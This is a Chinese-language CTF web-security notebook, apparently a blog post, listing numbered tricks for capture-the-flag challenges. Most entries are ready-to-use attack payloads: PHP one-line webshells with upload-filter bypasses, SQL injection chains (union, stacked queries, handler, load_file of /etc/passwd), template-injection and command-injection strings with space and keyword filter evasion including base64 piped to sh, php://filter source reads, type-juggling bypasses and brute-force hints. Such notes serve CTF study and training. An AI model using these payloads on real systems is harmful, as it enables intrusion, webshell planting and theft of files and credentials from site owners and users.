CTF网络攻防笔记

1, X-Forwarded-For: 用来表示 HTTP 请求端真实 IP,伪造本地访问。

在HTTP请求头里设置:X-Forwarded-For: 127.0.0.1,修改请求IP为本地IP。

2,在HTTP请求头里设置, referer: 告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。

3, 常用编解码:md5, url编码(有很多%的),base64(结尾是=),HTML页面内容utf-8编解码

4,PHP里比较值不相等,md5,sha1编码之后的值相等,要绕过,构造数值就可以了,数组的值为数字
https://blog.csdn.net/anjiaowangmenghan/article/details/77624995

两个md5相同但值不同的字符串如:QNKCDZO和240610708

5,找不到线索时,先访问robots.txt,这个是习惯性,也可以御剑扫出来

6,看看根目录下有没有index.php.bak文件

7,不能是数字,还要求满足==1,那么在数字1之后加上一个字母即可,例如num=1a,PHP在判断数字相等时,会将字符串转换为数字来比较

8,&#开头编码后的,是采用Unicode编码

9,

http://114.67.246.176:10183/?hello=system('tac flag.php')
passthru()执行类似system()的功能

10,burp intruder 暴力破解密码

11,

url/?p=php://filter/read/convert.base64-encode/resource=index.php

这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码就可以看到flag

12,备份文件.bak md5数组为NULL类型相等 构造数组参数kekeyy1[]=[1]&kekeyy2[]=[2]

13,弱比较:$id=“0xd” 0开头的字符串和整型比较会转化为0

14,这里用伪协议 php:// 来访问输入输出的数据流,其中 php://input可以访问原始请求数据中的只读流。这里令 $a = “php://input”,并在请求主体中使用POST提交字符串 bugku is a nice plateform!

php://filter用于读取源码 
php://input用于执行php代码

15,

strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4

ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。

源码中待匹配字符串(第二个参数)已确定为 “1114”,正则表达式(第一个参数)由 “111” 连接 b 的 第 一 个 字 符 组 成 , 若 令 s u b s t r ( b 的第一个字符组成,若令 substr( b的第一个字符组成,若令substr(b,0,1) = “\x00”,即满足 “1114” 与 "111"匹配。因此,这里假设 $b = “\x0012345”,才能满足以上三个条件。

16,assert漏洞可以执行php代码,php中读取目录下文件的方法:

最简单的是print_r(scandir($dir)),还可以利用print_r(glob("*.*"))
scandir() //作用能扫描文件夹下的目录和文件,返回值为所有文件名组成的一个数组
show_source() //显示文件源码
highlight_file() //和show_source()函数是一个意思

构造:

 http://123.206.87.240:8010/?s=print_r(scandir('./'))

17,约束SQL注入的原理就是利用的约束条件,比如最长只能有15个字符的话,如果你输入的是abcdefghijklmnop(16位),那么保存在数据库里的就是abcdefghijklmno,那么别人用abcdefghijklmno注册一个用户名,就可以登陆。
还有一个可以利用的地方就是SQL在执行字符串处理的时候是会自动修剪掉尾部的空白符的,也就是说"abc"=="abc ",同样我们可以通过注册用户名为"abc "的账号来登陆"abc"的账号。

18,md5碰撞
PHP在处理哈希字符串时,会利用”!=”或”==”来对哈希值进行比较,它把每一个以”0E”开头的哈希值都解释为0,所以如果两个不同的密码经过哈希以后,其哈希值都是以”0E”开头的,那么PHP将会认为他们相同,都是0。

攻击者可以利用这一漏洞,通过输入一个经过哈希后以”0E”开头的字符串,即会被PHP解释为0,如果数据库中存在这种哈希值以”0E”开头的密码的话,他就可以以这个用户的身份登录进去,尽管并没有真正的密码。

19,

if($v1 != $v2 && md5($v1) == md5($v2))

利用md5函数的特性,如果使用一个不可md5的数据类型传入的话那么md5函数将返回false,这个也是返回值,题目要求的是md5函数的返回值相等,所以就可以用两个值不同但不可md5的数据类型传入即可。

此处我们使用v1[]=1&&v2[]=2。

20,

if(!strcmp($v3, $flag)){
echo $flag;
}

strcmp函数,需要v3和flag的值相同才返回flag的值,貌似是一个鸡生蛋问题,但是我们依旧使用函数特性,strcmp函数如果出错,那么它的返回值也会是0,和字符串相等时返回值一致。那么如何出错呢,猜测不可比较时出错,那么传入一个数组试试,v3[]=3

21,文件上传漏洞

一句话木马

<?php @eval($_POST[caidao]);?>
若上面的被过滤,选用下面的
GIF89a? <script language="php">eval($_REQUEST[shell])</script>

php后缀名被过滤,其他可选

php,php3,php4,php5,phtml.pht

文件类型绕过

改成image/jpeg

查看HTML页面是否有Js前端验证(οnsubmit=“return checkFile()”),有的话删除

蚁剑连接:url/upload/hack.php

可能需要上传.htaccess文件

可能需要上传.ini文件

22,空格过滤
发现空格给过滤,在linux里面有很多方式可以代替空格

cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

尝试输入cat${IFS}/flag发现也给检测了,测试后才知道IFS字样也给过滤了,那我们用cat</flag,就能成功拿到flag。

23,sql注入
当前用户数据库中的所有数据表,INFORMATION_SCHEMA.TABLES
当前用户数据库中的所有列,INFORMATION_SCHEMA.COLUMNS

所有数据库,INFORMATION_SCHEMA.SCHEMATA

24,SQL 语句如下:

UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #

通常一些防注入语句不允许单引号出现,那么可以使用一下语句绕过:

UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #

“0x2F6561342F706173737764” 为 “/etc/passwd” 的十六进制转换结果。

“0x2F6561342F706173737764” 为 “/etc/passwd” 的十六进制转换结果。

25,延时注入
延时注入属于盲注技术的一种,是一种基于时间差异的注入技术。下面以 MySQL 为例介绍延时注入。

在 MySQL 中有一个函数:sleep(duration),这个函数意思是在 duration 参数给定数秒后运行语句,如下 SQL 语句:

SELECT * FROM users WHERE id = 1 AND sleep(3)

就是将在 3 秒后执行该 SQL 语句。

26.url添加参数,执行命令

cat ../app/flag
/?flag={{%20config.__class__.__init__.__globals__[%27os%27].popen(%27cat%20../app/flag%27).read()%20}}

27.上传文件漏洞,如果能执行python代码,上传可以接受的文件类型,其中写入python代码

import os

os.system('ls ../')

os.system('cat ../flag')

28.网站被黑留下后门,用御剑后台扫描工具扫描一下该网页(url/webshell/或者url/)

发现shell.php,在网页中打开shell.php,若需输入密码,使用burpsuite抓包爆破

29.管理员登陆,用户名考虑admin,密码爆破

30.BurpSuite使用之Intruder密码爆破模块

31.flag在变量中

尝试使用PHP变量,/?args=GLOBALS

32.git泄露

wget -r http://ip_address/.git 
git reflog   
git reset 13ce8d0 
git status 
git checkout -- flag.txt

33.文件包含漏洞

构造url=“http://120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php”

34.简单sql注入

直接万能钥匙
admin’or1=1#

输入'(单引号)查看,并无回显,判断为整形注入
尝试查看列数:

1 order by 2 #

成功回显,推断其有两列

继续判断其回显点位:

1111 union select 11,22 #
得到回显内容:22
判断出22为回显点位
打开链接是一个post表单,尝试注入:
id=1'#,单引号返回失败,加注释返回正常
逻辑判断:
id=1' and 1=1#1=1返回正常,1=2返回失败,存在注入
判断字段数:
id=1' order by 4# 4列
判断回显位:
id=0' union select 1,2,3,4#2,3,4存在回显
查询数据库
id=0' union select 1,2,3,group_concat(schema_name) from information_schema.schemata#
查询表:
id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#表 fl4g,sc
查fl4g的字段:
id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name=`fl4g`#(有些情况可以用十六进制绕过)字段名skctf_flag
列出数据:
id=0' union select 1,2,3,skctf_flag from database.fl4g#得到flag

注意看关键字哪些被过滤,过滤尝试使用seselectlect

如果select关键字被过滤。由于 Union 必须使用 子查询,所以 Union 也无法使用。

可以考虑使用堆叠注入(将 SQL 语句用;进行连接)。使用语句1'; show tables;#进行测试

show databases, 再用describe table获取表信息;

使用handler替换select

1'; handler `1919810931114514` open; handler `1919810931114514` read first; #
handler `1919810931114514` read next; #

在url中输入的,所以不能用#,而用其url编码%23。

/check.php?username=admin' order by 3%23&password=1     存在
/check.php?username=admin' order by 4%23&password=1     报错
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1 从一个表中查询多列

35.正则表达式,python读取HTML页面

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MOjFWfnj-1618758677025)(C:\Users\zzl\Desktop\tmp\20210111000403832.png)]

计算上面式子的结果,通过post提交结果

import requests #引入request库
import re 		#引入re库

url = '''http://123.206.87.240:8002/qiumingshan/'''
s = requests.session()  #用session会话保持表达式
retuen = s.get(url)

equation = re.search(r'(\d+[+\-*])+(\d+)',retuen.text).group()
result = eval(equation)	#eval()函数用来执行一个字符串表达式,并返回表达式的值。

key = {'value':result}#创建一个字典类型用于传参
flag = s.post(url,data=key)#用post方法传上去

print(flag.text)

36.linux 输出文件内容命令

cat, tac, more, less, head tail

(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容

37.上传图像漏洞

bugku~xxx二手交易市场

38.<?php ?>被删除,绕过

39.sql注入

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

代码要求查询结果不能为空,且输入的passwd等于md5(passwd);

根据提示union,将md5[passwd]写入查询结果中。

构造username=admin’ union select 1,md5(123)#&password=123

ls被过滤,采用写入文件二次返回的方法查看结果

123|ls ../../../>test

访问url/test查看查询结果

40.git泄露,使用githack

41.文件读取漏洞

通过目录去寻找flag

http://challenge-11c306096fd1c562.sandbox.ctfhub.com:10080/img../

42.命令执行漏洞

常见管道符

1、|(就是按位或),直接执行|后面的语句
2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
3、&(就是按位与),&前面和后面命令都要执行,无论前面真假
4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
5、;(linux下有的,和&一样的作用)

比如说执行ping命令
ping 172.0.0.1| ls /

若是过滤空格,以下可以进行替换
%20(space)、%09(tab)、$IFS$9、${IFS}$9、 {IFS}、IFS 都可以

flag被过滤
1.通过变量实现字符串拼接
构造/?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php  即可获取flag
注:此处将变量ab的位置互换是为了绕过字符串匹配
     
2.通过执行sh命令来执行 (bash被过滤了,不然也可以执行)
构造/?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
注:sh是linux中运行shell的命令,bash相当于sh的升级版,sh∈bash

3.内联执行 (真正的大佬操作,给跪了)
构造 /?ip=127.0.0.1;cat$IFS$9`ls`
注:内联,就是将反引号内命令的输出作为输入执行。

43.url 执行PHP代码

/calc.php? num=2;var_dump(scandir(chr(47)))
var_dump()用来打印
scandir()用来获取目录文件
chr(47)是/的ASCII编码,因为/被过滤了,用这个什么都不显示。
再就是num前有个空格,用来绕过waf(web防火墙)

/calc.php? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
chr()获取对应的ASCII码

44.网站备份

直接在url后面输入www.zip,可以获取到网站的备份

45.Php 反序列化漏洞

46.php中两个等于号是弱等于

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行,在比较时该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为0。

47.MD5()true参数漏洞,发现可以找到

ffifdyop字符串会造成漏洞

上一篇:CTF入门之give_you_flag


下一篇:i春秋 “百度杯”CTF比赛 十月场 Login